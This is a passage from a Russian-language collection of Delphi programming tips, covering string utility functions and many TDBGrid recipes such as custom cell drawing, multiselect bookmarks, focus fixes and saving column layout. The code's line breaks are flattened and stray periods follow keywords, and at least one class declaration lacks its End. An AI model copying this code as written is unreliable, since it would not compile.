amount of chars from the right of a string. Function RightStr(const aSourceString : string; Size : Integer) : string; Begin. If Size > Length(aSourceString) then. Result := aSourceString. Else begin. SetLength(Result, Size); FastCharMove(aSourceString[Length(aSourceString)-(Size-1)],Result[1],Size); End; End; //Converts a typical HTML RRGGBB color to a TColor. Function RGBToColor(aRGB : string) : TColor; Begin. If Length(aRGB) < 6 then raise EConvertError.Create('Not a valid RGB value'); If aRGB[1] = '#' then aRGB := Copy(aRGB,2,Length(aRGB)); If Length(aRGB) <> 6 then raise EConvertError.Create('Not a valid RGB value'); Result := HexToInt(aRGB); Asm. Mov EAX, Result. BSwap EAX. Shr EAX, 8. Mov Result, EAX. End; End; //Splits a delimited text line into TStrings (does not account for stuff in quotes but it should). Procedure Split(aValue : string; aDelimiter : Char; var Result : TStrings); Var. X : Integer; S : string; Begin. If Result = nil then Result := TStringList.Create; Result.Clear; S := ''; For X:=1 to Length(aValue) do begin. If aValue[X] <> aDelimiter then. S:=S + aValue[X]. Else begin. Result.Add(S); S := ''; End; End; If S <> '' then Result.Add(S); End; //counts how many times a substring exists within a string. //StringCount('XXXXX','XX') would return 2. Function StringCount(const aSourceString, aFindString : string; Const CaseSensitive : Boolean = TRUE) : Integer; Var. Find, Source, NextPos : PChar; LSource, LFind : Integer; Next : TFastPosProc; JumpTable : TBMJumpTable; Begin. Result := 0; LSource := Length(aSourceString); If LSource = 0 then exit; LFind := Length(aFindString); If LFind = 0 then exit; If CaseSensitive then. Begin. Next := BMPos; MakeBMTable(PChar(aFindString), Length(aFindString), JumpTable); End else. Begin. Next := BMPosNoCase; MakeBMTableNoCase(PChar(aFindString), Length(aFindString), JumpTable); End; Source := @aSourceString[1]; Find := @aFindString[1]; Repeat. NextPos := Next(Source, Find, LSource, LFind, JumpTable); If NextPos <> nil then. Begin. Dec(LSource, (NextPos - Source) + LFind); Inc(Result); Source := NextPos + LFind; End; Until NextPos = nil; End; Function SoundEx(const aSourceString: string): Integer; Var. CurrentChar: PChar; I, S, LastChar, SoundexGroup: Byte; Multiple: Word; Begin. If aSourceString = '' then. Result := 0. Else. Begin. //Store first letter immediately. Result := Ord(Upcase(aSourceString[1])); //Last character found = 0. LastChar := 0; Multiple := 26; //Point to first character. CurrentChar := @aSourceString[1]; For I := 1 to Length(aSourceString) do. Begin. Inc(CurrentChar); S := Ord(CurrentChar^); If (S > 64) and (S < 123) then. Begin. SoundexGroup := cSoundexTable[S]; If (SoundexGroup <> LastChar) and (SoundexGroup > 0) then. Begin. Inc(Result, SoundexGroup * Multiple); If Multiple = 936 then Break; {26 * 6 * 6}. Multiple := Multiple * 6; LastChar := SoundexGroup; End; End; End; End; End; //Used by ExtractHTML and ExtractNonHTML. Function StripHTMLorNonHTML(const S : string; WantHTML : Boolean) : string; Var. X: Integer; TagCnt: Integer; ResChar: PChar; SrcChar: PChar; Begin. TagCnt := 0; SetLength(Result, Length(S)); If Length(S) = 0 then Exit; ResChar := @Result[1]; SrcChar := @S[1]; For X:=1 to Length(S) do. Begin. Case SrcChar^ of. '<': Begin. Inc(TagCnt); If WantHTML and (TagCnt = 1) then. Begin. ResChar^ := '<'; Inc(ResChar); End; End; '>': Begin. Dec(TagCnt); If WantHTML and (TagCnt = 0) then. Begin. ResChar^ := '>'; Inc(ResChar); End; End; Else. Case WantHTML of. False: If TagCnt <= 0 then. Begin. ResChar^ := SrcChar^; Inc(ResChar); TagCnt := 0; End; True: If TagCnt >= 1 then. Begin. ResChar^ := SrcChar^; Inc(ResChar); End else. If TagCnt < 0 then TagCnt := 0; End; End; Inc(SrcChar); End; SetLength(Result, ResChar - PChar(@Result[1])); Result := FastReplace(Result, '&nbsp;', ' ', False); Result := FastReplace(Result,'&amp;','&', False); Result := FastReplace(Result,'&lt;','<', False); Result := FastReplace(Result,'&gt;','>', False); Result := FastReplace(Result,'&quot;','"', False); End; //Generates a UniqueFilename, makes sure the file does not exist before returning a result. Function UniqueFilename(aFilename : string) : string; Var. Path, Filename, Ext : string; Index : Integer; Begin. Result := aFilename; If FileExists(aFilename) then begin. Path := ExtractFilepath(aFilename); Ext := ExtractFileExt(aFilename); Filename := ExtractFilename(aFilename); If Length(Ext) > 0 then. Filename := Copy(Filename,1,Length(Filename)-Length(Ext)); Index := 2; Repeat. Result := Path + Filename + IntToStr(Index) + Ext; Inc(Index); Until not FileExists(Result); End; End; //Decodes all that %3c stuff you get in a URL. Function URLToText(aValue : string) : string; Var. X : Integer; Begin. Result := ''; X := 1; While X <= Length(aValue) do begin. If aValue[X] <> '%' then. Result := Result + aValue[X]. Else begin. Result := Result + Chr( HexToInt( Copy(aValue,X+1,2) ) ); Inc(X,2); End; Inc(X); End; End; //Returns the whole word at a position. Function WordAt(Text : string; Position : Integer) : string; Var. L, X : Integer; Begin. Result := ''; L := Length(Text); If (Position > L) or (Position < 1) then Exit; For X:=Position to L do begin. If Upcase(Text[X]) in ['A'..'Z','0'..'9'] then. Result := Result + Text[X]. Else. Break; End; For X:=Position-1 downto 1 do begin. If Upcase(Text[X]) in ['A'..'Z','0'..'9'] then. Result := Text[X] + Result. Else. Break; End; End; End.

Буфер обмена и ячейки DBGrid.

Внутренний (in-place) редактор является защищенным свойством TCustomGrid, поэтому тут придется немного поколдовать. Вы можете сделать приблизительно так:

Code: Type. TMyCustomGrid = class(TCustomGrid). Public. Property InplaceEditor; End; ... If ActiveControl is TCustomGrid then. TMyCustomGrid(ActiveControl).InplaceEditor.CopyToClipboard;

Как сделать, чтобы в DBGrid вместо цифр были соответствующие константы.

Code: Procedure TForm1.Grid1DrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); Begin. // ВАЖНО: имя поля большими буквами! If Column.Field.FieldName = 'PLATEZH' then. Begin. Grid1.Canvas.FillRect(Rect); If Column.Field.AsInteger = 0 then. Grid1.Canvas.TextOut(Rect.Left + 1, Rect.Top + 2, 'наличными'). Else. Grid1.Canvas.TextOut(Rect.Left + 1, Rect.Top + 2, 'безнал'); End; End;

Шапка в TDBGrid.

Уже реализовано в виде вот этого компонента.

Code: Unit bdbgrid; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids, Math; Type. TOnDrawTitleEvent = procedure(ACol: integer; ARect: TRect; var TitleText: String) of object; TBitDBGrid = class(TDBGrid). Private. FBitmapBrowse: TBitmap; FBitmapEdit: TBitmap; FBitmapInsert: TBitmap; FBitmapFill: TBitmap; FRealTitleFont: TFont; FOnDrawTitle: TOnDrawTitleEvent; FResizeFlag: boolean; { Private declarations }. Procedure SetRealTitleFont(Value: TFont); Procedure UpdateTitlesHeight; Protected. Procedure DrawCell(ACol, ARow: Longint; ARect: TRect; AState: TGridDrawState); override; Procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Override; Procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Override; { Protected declarations }. Public. Constructor Create(AOwner: TComponent); override; Destructor Destroy; override; { Public declarations }. Published. Property OnDrawTitle: TOnDrawTitleEvent read FOnDrawTitle write. FOnDrawTitle; Property RealTitleFont: TFont read FRealTitleFont write SetRealTitleFont; { Published declarations }. End; Procedure Register; Implementation. Var. DrawBitmap: TBitmap; Function Max(X, Y: Integer): Integer; Begin. Result := Y; If X > Y then. Result := X; End; Procedure WriteText(ACanvas: TCanvas; ARect: TRect; DX, DY: Integer; const Text: String; Alignment: TAlignment); // © Borland function :). Const. AlignFlags: array[TAlignment] of Integer = (DT_LEFT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX, DT_RIGHT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX, DT_CENTER or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX); Var. B, R: TRect; I, Left: Integer; Begin. With DrawBitmap, ARect do { Use offscreen bitmap to eliminate flicker and }. Begin { brush origin tics in painting / scrolling. }. Width := Max(Width, Right - Left); Height := Max(Height, Bottom - Top); R := Rect(DX, DY, Right - Left - 1, Bottom - Top - 1); B := Rect(0, 0, Right - Left, Bottom - Top); End; With DrawBitmap.Canvas do. Begin. DrawBitmap.Canvas.CopyRect(B, ACanvas, ARect); Font := ACanvas.Font; Font.Color := ACanvas.Font.Color; Brush := ACanvas.Brush; SetBkMode(Handle, TRANSPARENT); DrawText(Handle, PChar(Text), Length(Text), R, AlignFlags[Alignment]); End; ACanvas.CopyRect(ARect, DrawBitmap.Canvas, B); End; Constructor TBitDBGrid.Create(AOwner: TComponent); Begin. Inherited Create(Aowner); FRealTitleFont := TFont.Create; FResizeFlag := false; End; Destructor TBitDBGrid.Destroy; Begin. FRealTitleFont.Free; Inherited Destroy; End; Procedure TBitDBGrid.UpdateTitlesHeight; Var. Loop: integer; MaxTextHeight: integer; RRect: TRect; Begin. MaxTextHeight := 0; For loop := 0 to Columns.Count - 1 do. Begin. RRect := CellRect(0, 0); RRect.Right := Columns[Loop].Width; RRect.Left := 0; Canvas.Font := RealTitleFont; MaxTextHeight := Max(MaxTextHeight, DrawText(Canvas.Handle, PChar(Columns[Loop].Title.Caption), Length(Columns[Loop].Title.Caption), RRect, DT_CALCRECT + DT_WORDBREAK). ); End; If TitleFont.Height <> -MaxTextHeight then. TitleFont.Height := -MaxTextHeight; End; Procedure TBitDBGrid.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. If MouseCoord(X, Y).Y = 0 then. FResizeFlag := true; Inherited MouseDown(Button, Shift, X, Y); End; Procedure TBitDBGrid.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); Begin. Inherited MouseUp(Button, Shift, X, Y); If FResizeFlag then. Begin. FResizeFlag := false; UpdateTitlesHeight; End; End; Procedure TBitDBGrid.DrawCell(ACol, ARow: Longint; ARect: TRect; AState: TGridDrawState); Var. Indicator: TBitmap; TitleText: string; Al: TAlignment; Begin. If not ((gdFixed in AState) and ((ARow = 0) and (dgTitles in Options) and (ACol. <> 0))) then. Inherited DrawCell(ACol, ARow, ARect, AState). Else. Begin. If DefaultDrawing then. Begin. DrawEdge(Canvas.Handle, ARect, BDR_RAISEDINNER, BF_BOTTOMLEFT); DrawEdge(Canvas.Handle, ARect, BDR_RAISEDINNER, BF_TOPRIGHT); InflateRect(ARect, -1, -1); Canvas.Brush.Color := FixedColor; Canvas.FillRect(ARect); End; TitleText := Columns[ACol - 1].Title.Caption; If Assigned(OnDrawTitle) then. OnDrawTitle(ACol, ARect, TitleText); If DefaultDrawing and (TitleText <> '') then. Begin. Canvas.Brush.Style := bsClear; Canvas.Font := RealTitleFont; If ACol > 0 then. Al := Columns[ACol - 1].Title.Alignment. Else. Al := Columns[0].Title.DefaultAlignment; WriteText(Canvas, ARect, 2, 2, TitleText, Al); End; End; End; Procedure TBitDBGrid.SetRealTitleFont(Value: TFont); Begin. FRealTitleFont.Assign(Value); Repaint; End; Procedure Register; Begin. RegisterComponents('Andre VCL', [TBitDBGrid]); End; Initialization. DrawBitmap := TBitmap.Create; Finalization. DrawBitmap.Free; End.

Позиция ячейки в TDBGrid.

В TCustomGrid определен метод CellRect, который, к сожалению, защищен. Это означает, что даный метод доступен только для TCustomGrid и его наследников. Но все-таки существует немного мудреное решение вызова данного метода:

Code: Type. TMyDBGrid = class(TDBGrid). Public. Function CellRect(ACol, ARow: Longint): TRect; End; Function TMyDBGrid.CellRect(ACol, ARow: Longint): TRect; Begin. Result := inherited CellRect(ACol, ARow); End; Вы можете сделать приведение типа вашего DBGrid к TMyDBGrid (это возможно, поскольку CellRect статический метод) и вызвать CellRect: Rectangle := TMyDBGrid(SomeDBGrid).CellRect(SomeColumn, SomeRow); Procedure TfmLoadIn.DBGrid1DrawColumnCell(Sender: TObject; Const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); Const. Disp = 2; //Правильно выравниваем компонент. Begin. Inherited; If (gdFocused in State) then. Begin. If (Column.FieldName = 'TYPEDescription') then. Begin. DlTYPEDescription.Left := Rect.Left + DBGrid1.Left + Disp; DlTYPEDescription.Top := Rect.Top + DBGrid1.top + Disp; DlTYPEDescription.Width := Rect.Right - Rect.Left; DlTYPEDescription.Height := Rect.Bottom - Rect.Top; DlTYPEDescription.Visible := True; End; End; End;

Как сделать, чтобы необходимая ячейка DBGrid получила фокус ввода.

Для установки в ПОЛЕ, связанное с гридом, используется метод TField.FocusControl.

©Drkb::03048.

Взято с http://delphiworld.narod.ru.

Текущая строка и поле в DBGrid.

Code: Unit dbcolform; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Grids, DBGrids, DB, DBTables; Type. TForm1 = class(TForm). Table1: TTable; DataSource1: TDataSource; DBGrid1: TDBGrid; Label1: TLabel; Procedure DBGrid1ColEnter(Sender: TObject); Procedure DataSource1DataChange(Sender: TObject; Field: TField); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Type. TFake = class (TDBGrid); Procedure TForm1.DBGrid1ColEnter(Sender: TObject); Begin. Label1.Caption := Format ( 'Column: %2d; Row: %2d', [TFake (DbGrid1).Col, TFake (DbGrid1).Row]); End; Procedure TForm1.DataSource1DataChange(Sender: TObject; Field: TField); Begin. DBGrid1ColEnter (sender); End; End.

DbGrid со свойствами Col и Row.

Code: { Код улучшенного TDBGrid, имеющего свойства Col, Row и Canvas и метод CellRect. Это чрезвычайно. Полезно в случае, если вы, к примеру, хотите. Получить выпадающий список на месте редактируемой. Пользователем ячейки. } Unit VUBComps; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids, DB, Menus; Type. TDBGridVUB = class(TDBGrid). Private. { Private declarations }. Protected. { Protected declarations }. Public. Property Canvas; Function CellRect(ACol, ARow: Longint): TRect; Property Col; Property Row; Procedure Register; Implementation. Procedure Register; Begin. RegisterComponents('VUBudget', [TDBGridVUB]); End; Function TDBGridVUB.CellRect(ACol, ARow: Longint): TRect; Begin. Result := inherited CellRect(ACol, ARow); End; End.

Как выделить цветом текущую строку в TDBGrid.

Code: Procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect; Field: TField; State: TGridDrawState); Begin. If gdFocused in State then. With (Sender as TDBGrid).Canvas do. Begin. Brush.Color := clRed; FillRect(Rect); TextOut(Rect.Left, Rect.Top, Field.AsString); End; End;

Как программно перевести DBGrid в режим редактирования.

Переведите таблицу в режим редактирования, затем получите дескриптор (handle) окна редактирования и перешлите ей сообщение EM_SETSEL. В качестве параметров вы должны переслать начальную позицию курсора, и конечную позицию, определяющую конец выделения текста цветом. В приведенном примере курсор помещается во вторую позицию, текст внутри ячейки не выделяется.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. H : THandle; Begin. Application.ProcessMessages; DbGrid1.SetFocus; DbGrid1.EditorMode := true; Application.ProcessMessages; H:= Windows.GetFocus; SendMessage(h, EM_SETSEL, 2, 2); End;

Как получить количество активных ссылок на строку?

Code: Function GetAnsistringRefcount(const S: string): Cardinal; Asm. Or eax, eax. Jz @done. Sub eax, 8. Mov eax, dword ptr [eax]. @done: End; Procedure TForm1.Button1Click(Sender: TObject); Var. S1, S2: string; Begin. Memo1.lines.Add(Format('Refcount at start: %d', [GetAnsistringRefcount(S1)])); S1 := StringOfChar('A', 10); Memo1.lines.Add(Format('Refcount after assignment: %d', [GetAnsistringRefcount(S1)])); S2 := S1; Memo1.lines.Add(Format('Refcount after S2:=S1: %d', [GetAnsistringRefcount(S1)])); S2 := S1 + S2; Memo1.lines.Add(Format('Refcount after S2:=S1+S2: %d', [GetAnsistringRefcount(S1)])); End;

DbGrid и множественный выбор.

При включении флажка [dgMultiSelect] в свойстве-наборе Options компонента DBGrid, вы добавляете к табличной сетке возможность множественного выбора записей.

Выбранные вами записи представлены в виде закладок и храняться в свойстве SelectedRows.

Свойство SelectedRows является объектом, имеющим тип TBookmarkList. Его свойства и методы описаны ниже.

Code: // property SelectedRows: TBookmarkList read FBookmarks; // TBookmarkList = class. // public. {* Метод Clear освобождает все выбранные в DBGrid записи *}. // procedure Clear; {* Метод Delete удаляет все выбранные строки из набора данных *}. // procedure Delete; {* Метод Find определяет наличие закладки в выбранном списке. *}. // function Find(const Item: TBookmarkStr; // var Index: Integer): Boolean; {* Метод IndexOf возвращает индекс закладки, расположенной в свойстве Items. *}. // function IndexOf(const Item: TBookmarkStr): Integer; {* Метод Refresh возвращает логическую величину, уведомляющую о том, ч. То в то время, пока в табличной сетке была выбрана запись, были добавлены. (удалены) какие-то данные. Метод Refresh может быть использован для. Обновления списка выбранных записей для уменьшения возможности получения. Удаленной записи. *}. // function Refresh: Boolean; True = orphans found. {* Свойство Count возвращает количество выбранных в настоящий. Момент элементов в DBGrid *}. // property Count: Integer read GetCount; {* Свойство CurrentRowSelected содержит логическую величину, Зависящую от того, выбрана текущая строка или нет. *}. // property CurrentRowSelected: Boolean. // read GetCurrentRowSelected. // write SetCurrentRowSelected; {* Свойство Items - TStringList TBookmarkStr *}. // property Items[Index: Integer]: TBookmarkStr. // read GetItem; default; // end; Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Grids, DBGrids, DB, DBTables; Type. TForm1 = class(TForm). Table1: TTable; DBGrid1: TDBGrid; Count: TButton; Selected: TButton; Clear: TButton; Delete: TButton; Select: TButton; GetBookMark: TButton; Find: TButton; FreeBookmark: TButton; DataSource1: TDataSource; Procedure CountClick(Sender: TObject); Procedure SelectedClick(Sender: TObject); Procedure ClearClick(Sender: TObject); Procedure DeleteClick(Sender: TObject); Procedure SelectClick(Sender: TObject); Procedure GetBookMarkClick(Sender: TObject); Procedure FindClick(Sender: TObject); Procedure FreeBookmarkClick(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Bookmark1: TBookmark; Z: Integer; Implementation. {$R *.DFM}. //Пример использования свойства Count. Procedure TForm1.CountClick(Sender: TObject); Begin. If DBgrid1.SelectedRows.Count > 0 then. Begin. Showmessage(inttostr(DBgrid1.SelectedRows.Count)); End; End; //Пример использования свойства CurrentRowSelected. Procedure TForm1.SelectedClick(Sender: TObject); Begin. If DBgrid1.SelectedRows.CurrentRowSelected then. Showmessage('Выбрана'); End; //Пример использования метода Clear. Procedure TForm1.ClearClick(Sender: TObject); Begin. Dbgrid1.SelectedRows.Clear; End; //Пример использования метода Delete. Procedure TForm1.DeleteClick(Sender: TObject); Begin. DBgrid1.SelectedRows.Delete; End; {* Данные пример проходит в цикле все выбранные. Записи табличной сетки и отображает второе. Поле набора данных. Метод DisableControls используется в случае, Когда необходимо запретить обновление DBGrid. При изменении набора данных. Последняя позиция. Набора данных сохраняется как TBookmark. Метод IndexOf вызывается при необходимости. Проверить существование закладки. Решение использовать метод IndexOf, а не. Refresh, должно приниматься исходя из. Специфики приложения. *} Procedure TForm1.SelectClick(Sender: TObject); Var. X: word; TempBookmark: TBookMark; Begin. DBGrid1.Datasource.Dataset.DisableControls; With DBgrid1.SelectedRows do. If Count > 0 then. Begin. TempBookmark := DBGrid1.Datasource.Dataset.GetBookmark; For x := 0 to Count - 1 do. Begin. If IndexOf(Items[x]) > -1 then. Begin. DBGrid1.Datasource.Dataset.Bookmark := Items[x]; Showmessage(DBGrid1.Datasource.Dataset.Fields[1].AsString); End; End; End; DBGrid1.Datasource.Dataset.GotoBookmark(TempBookmark); DBGrid1.Datasource.Dataset.FreeBookmark(TempBookmark); DBGrid1.Datasource.Dataset.EnableControls; End; {* Данный пример позволит вам установить закладку и. Затем найти ее в списке выбранных записей. Компонента DBGrid. *} //Устанавливаем закдадку. Procedure TForm1.GetBookMarkClick(Sender: TObject); Begin. Bookmark1 := DBGrid1.Datasource.Dataset.GetBookmark; End; //Освобождаем закладку. Procedure TForm1.FreeBookmarkClick(Sender: TObject); Begin. If assigned(Bookmark1) then. Begin. DBGrid1.Datasource.Dataset.FreeBookmark(Bookmark1); Bookmark1 := nil; End; End; //Испольуем метод Find для установления позиции. //записи-закладки в списке выбранных записей компонента DBGrid. Procedure TForm1.FindClick(Sender: TObject); Begin. If assigned(Bookmark1) then. Begin. If DBGrid1.SelectedRows.Find(TBookMarkStr(Bookmark1), z) then. Showmessage(inttostr(z)); End; End; End.

Как в TDBGrid узнать над каким полем висит мышь?

Code: Var. ScrPt, GrdPt: TPoint; Cell: TGridCoord; Begin. ScrPt := Mouse.CursorPos; GrdPt := DBGrid.ScreenToClient(ScrPt); Cell := DBGrid.MouseCoord(GrdPt.X, GrdPt.Y); // Col := Cell.X; // Row := Cell.Y; End; ... FieldText: string; DLink: TDataLink; OldActiveRec: Integer; ... Cell := DBGrid.MouseCoord(GrdPt.X, GrdPt.Y); FieldText := ''; DLink := THackDBGrid(DBGrid).DataLink; If Assigned(DLink) then. Begin. If (Cell.X < = 0)or(Cell.Y < = 0) then Exit; OldActiveRec := DLink.ActiveRecord; Try. DLink.ActiveRecord := Cell.Y-1{TitleOffset}; FieldText := DBGrid.Columns[Cell.X-1{IndicatorOffset}].Field.Text; Finally. DLink.ActiveRecord := OldActiveRec; End; End;

Как заблокировать TDBGrid от автодобавления новой записи.

Добавьте в обработчик события вашего TTable "BeforeInsert" следующую строку:

Code: Procedure TForm1.Tbable1BeforeInsert(DataSet: TDataset); Begin. Abort; // <<---эту строчку. End;

Как в TDBGrid разрешить только операции UPDATE записей.

А я делаю так. На DataSource, к которому прицеплен Grid, вешаю обработчик на событие OnStateChange. Ниже текст типичного обратчика.

Code: If DBGrid1.DataSource.DataSet.State in [dsEdit, dsInsert] then. DBGrid1.Options := DBGrid1.Options + goRowSelect. Else. DBGrid1.Options := DBGrid1.Options - goRowSelect;

Дело в том, что если у Grid'а стоит опция goRowSelect, то из Grid'а невозможно добавить запись. Ну а когда програмно вызываешь редактирование или вставку, то курсор принимает обычный вид и все Ok.

Лучше использовать конструкцию "State in dsEditModes".

©Drkb::03060.

Взято с http://delphiworld.narod.ru.

Как заменить данные в столбце компонента TDBGrid.

Нередко в колонке DBGrid нужно вывести не реальное значение, хранящееся в поле соответствующей таблицы, а другие данные, соответствующие имеющимся (например, символьную строку вместо ее числового кода). В этом случае также используется метод TextOut свойства Canvas компонента TDBGrid:

Соответствующий код для Delphi имеет вид:

Code: Procedure TForm1.DBGridDrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); Begin. If Column.FieldName = 'VenueNo' then. With DBGrid1.Canvas do. Begin. Brush.Color := clWhite; FillRect(Rect); If Table.FieldByName('VanueNo').Value = 1 then. Begin. Font.Color := clRed; TextOut(Rect.Right - 2 - DBGrid1.Canvas.TextWidth('our vanue'), Rect.Top + 2, 'our vanue'); End. Else. TextOut(Rect.Right - 2 - DBGrid1.Canvas.TextWidth('other vanue'), Rect.Top + 2, 'other vanue'); End; End;

Как поместить графическое изображение в TDBGrid.

Использование свойства Canvas компонента TDBGrid в методе OnDrawColumnCell позволяет не только выводить в ячейке текст методом TextOut, но и размещать в ячейках графические изображения. В этом случае используется метод Draw свойства Canvas.

Модифицируем наш пример, добавив в форму компонент TImageList и поместив в него несколько изображений.

Модифицируем код нашего приложения:

Соответствующий код для Delphi имеет вид:

Code: Procedure TForm1.DBGridDrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); Var. Im1: TBitmap; Begin. Im1 := TBitmap.Create; If Column.FieldName = 'VenueNo' then. With DBGrid1.Canvas do. Begin. Brush.Color := clWhite; FillRect(Rect); If Table.FieldByName('VanueNo').Value = 1 then. ImageList1.GetBitmap(0, Im1). Else. ImageList1.GetBitmap(2, Im1); Draw(round((Rect.Left + Rect.Right - Im1.Width) / 2), Rect.Top, Im1); End; End;

Как определить изменение фокуса строки в TDBGrid.

Используйте событие OnDataChange объекта Datasource, соединенного с DBGrid. Если параметр State в обработчике событие равен dsBrowse, значит вы перешли в новую строку (или только что открыли таблицу).

Почему сетка не поддерживает такое событие? Поскольку сетка может быть не единственным элементом управления, оторбажающим данные из текущей строки и может быть не единственным элементом, позволяющим осуществлять перемещение от строки к строке. С помощью Datasource обработка события осуществляется централизованно.

Я не уверен в том, что проблему можно решить, обрабатывая событие одинарного щелчка, для отслеживания события изменения строк я рекомендую использовать событие TDatasource.OnDataChange, а для колонок - TDBGrid.OnColEnter/Exit.

Лично я пользуюсь следующей рабочей технологией:

Для того, чтобы обнаружить изменения текущей строки, воспользуйтесь событием TDataSource OnDataChange. OnDataChange возникает при прокрутке или щелчке на другой строке. Обработчик события может выглядеть приблизительно так:

Procedure Form1.DSrc1DataChange(Sender: TObject; Field: TField);

Где Field является колонкой, где произошло изменение.

Поля TTable могут использоваться для сравнения текущих выбранных строк полей (ключ) с вашими требованиями. С той же целью может быть использовано и свойство TDBGrid Fields. Для примера:

If tbl1.Fields[0].AsString = 'BlaBlaBla' then ...

Или.

If dbGrid1.Fields[I].IsNull then ...

Для отслеживания изменения колонки, используйте события TDBGrid OnColExit & OnColEnter. Для определения выбранной к настоящему времени колонки воспользуйтесь свойствами TDBGrid SelectedField и SelectedIndex.

Когда выбирается другая колонка другой строки, вы получаете события OnColExit, OnColEnter и OnDataChange.

Можно пойти и "кривым" путем, взявшись за обработку события TDBGrid OnDrawDataCell, которое возникает когда ячейка выбирается, или когда сетка скроллируется. Обработчик события может выглядеть примерно так:

Procedure Form1.dbGrid1DrawDataCell(Sender: TObject; Rect: TRect;

Field: TField; State: TGridDrawState);

При изменении ячейки вы получаете поток событий, поэтому вам нужно каким-то образом их фильтровать.

Если у вас нет проблем в создании "101 изменения" стандартных компонентов - что является проблемой для меня 8-), то попробуйте это. Это легко.

Чтобы иметь доступ к индексу строки или колонки выбранной ячейки, вы должны унаследовать ваш класс от TCustomGrid и опубликать свойства времени выполнения Row и Col (текущие строка и колонка сетки, не таблицы!!):

Code: Type. TSampleDBGrid = class(TCustomGrid). Public. Property Col; Property Row; End;

DBGrid - сохранение конфигурации.

Нижеописанный код создает, сохраняет и загружает конфигурационный файл и изменяет размеры столбцов таблицы DBGRID.

Code: Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids, Db, DBTables, StdCtrls, IniFiles; ... Procedure TMainForm.NewIni(const NomeIni: string); Var. F: System.Text; I: Byte; Begin. System.Assign(F, NomeIni); System.ReWrite(F); System.WriteLn(F, '[Campi_Ordine]'); For i:=1 to Table1.FieldCount do. System.WriteLn(F, 'Campo',i,'=',Table1.Fields[i-1].FieldName); System.WriteLn(F, ''); System.WriteLn(F, '[Campi_Size]'); For i:=1 to Table1.FieldCount do. System.WriteLn(F, 'Campo',i,'=',Table1.Fields[i-1].DisplayWidth); System.Close(F); End; Procedure TMainForm.SaveIni(const FN: string); Var. Ini: TIniFile; I: Integer; S : string; Begin. NewIni(FN); Ini := TIniFile.Create(FN); With Ini do begin. For i:=1 to Table1.FieldCount do. Begin. S:= Table1.Fields[i-1].FieldName; WriteString('Campi_Ordine', 'Campo'+IntToStr(i), Table1.Fields[i-1].FieldName); WriteInteger('Campi_Size', 'Campo'+IntToStr(i), Table1.Fields[i-1].DisplayWidth); End; End; Ini.Free; End; Procedure TMainForm.LoadIni(const FN: string); Var. Ini: TIniFile; I: Integer; J: Longint; S: string; Function MyReadInteger(const Section, Ident: string): Longint; Begin. Result := Ini.ReadInteger(Section, Ident, -1); If result=-1 then. Raise Exception.Create('Errore nel file di configurazione.'); End; Function MyReadString(const Section, Ident: string): string; Begin. Result := Ini.ReadString(Section, Ident, ''); If result='' then. Raise Exception.Create('Errore nel file di configurazione.'); End; Begin. Ini := TIniFile.Create(FN); Try. With Ini do. Begin. For i:=1 to Table1.FieldCount do. Begin. S:= MyReadString('Campi_Ordine', 'Campo'+IntToStr(i)); J:= MyReadInteger('Campi_Size', 'Campo'+IntToStr(i)); Table1.FieldByName(S).index := i-1; Table1.FieldByName(S).DisplayWidth := j; End; End; Finally. Ini.Free; End; End;

Решение проблемы передачи фокуса TDBGrid.

В данном документе содержится решение проблемы невозможности получения DBGrid-ом фокуса после щелчка на каком-либо элементе управления родительской формы, в то время, как DBGrid находится на ее дочерней MDI-форме.

Относится ко всем версиям Delphi.

Очевидно, DBGrid имеет некоторые проблемы с управлением фокусом, если он находится на дочерней MDI-форме. Эта проблема решена в приведенном ниже наследнике TDBGrid, в котором обрабатываются мышиные сообщения и выясняется когда фокус должен быть передан сетке. Наследник создан в виде компонента, который легко устанавливается в Палитру Компонентов. Примечание: код адаптирован для всех версий Delphi. Проблемы могут быть в Delphi 2 и 3, если вы забудете заменить устаревшие в этих версиях модули "winprocs" и "wintypes" на "windows.".

Code: Unit FixedDBGrid; Interface. Uses. Winprocs, wintypes, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids; Type. TFixedDBGrid = class(TDBGrid). Private. { Private declarations }. Protected. { Protected declarations }. Public. { Public declarations }. Procedure WMRButtonDown(var Message: TWMRButtonDown); message. WM_RBUTTONDOWN; Procedure WMLButtonDown(var Message: TWMLButtonDown); message. WM_LBUTTONDOWN; Published. { Published declarations }. End; Procedure Register; Implementation. Procedure TFixedDBGrid.WMRButtonDown(var Message: TWMRButtonDown); Begin. Winprocs.SetFocus(handle); {помните, что winprocs относится только к Delphi 1!}. Inherited; End; Procedure TFixedDBGrid.WMLButtonDown(var Message: TWMLButtonDown); Begin. Winprocs.SetFocus(handle); {помните, что winprocs относится только к Delphi 1!}. Inherited; End; Procedure Register; Begin. RegisterComponents('Samples', [TFixedDBGrid]); End; End.

Копирование информации из DBGrid-а в Clipboard.

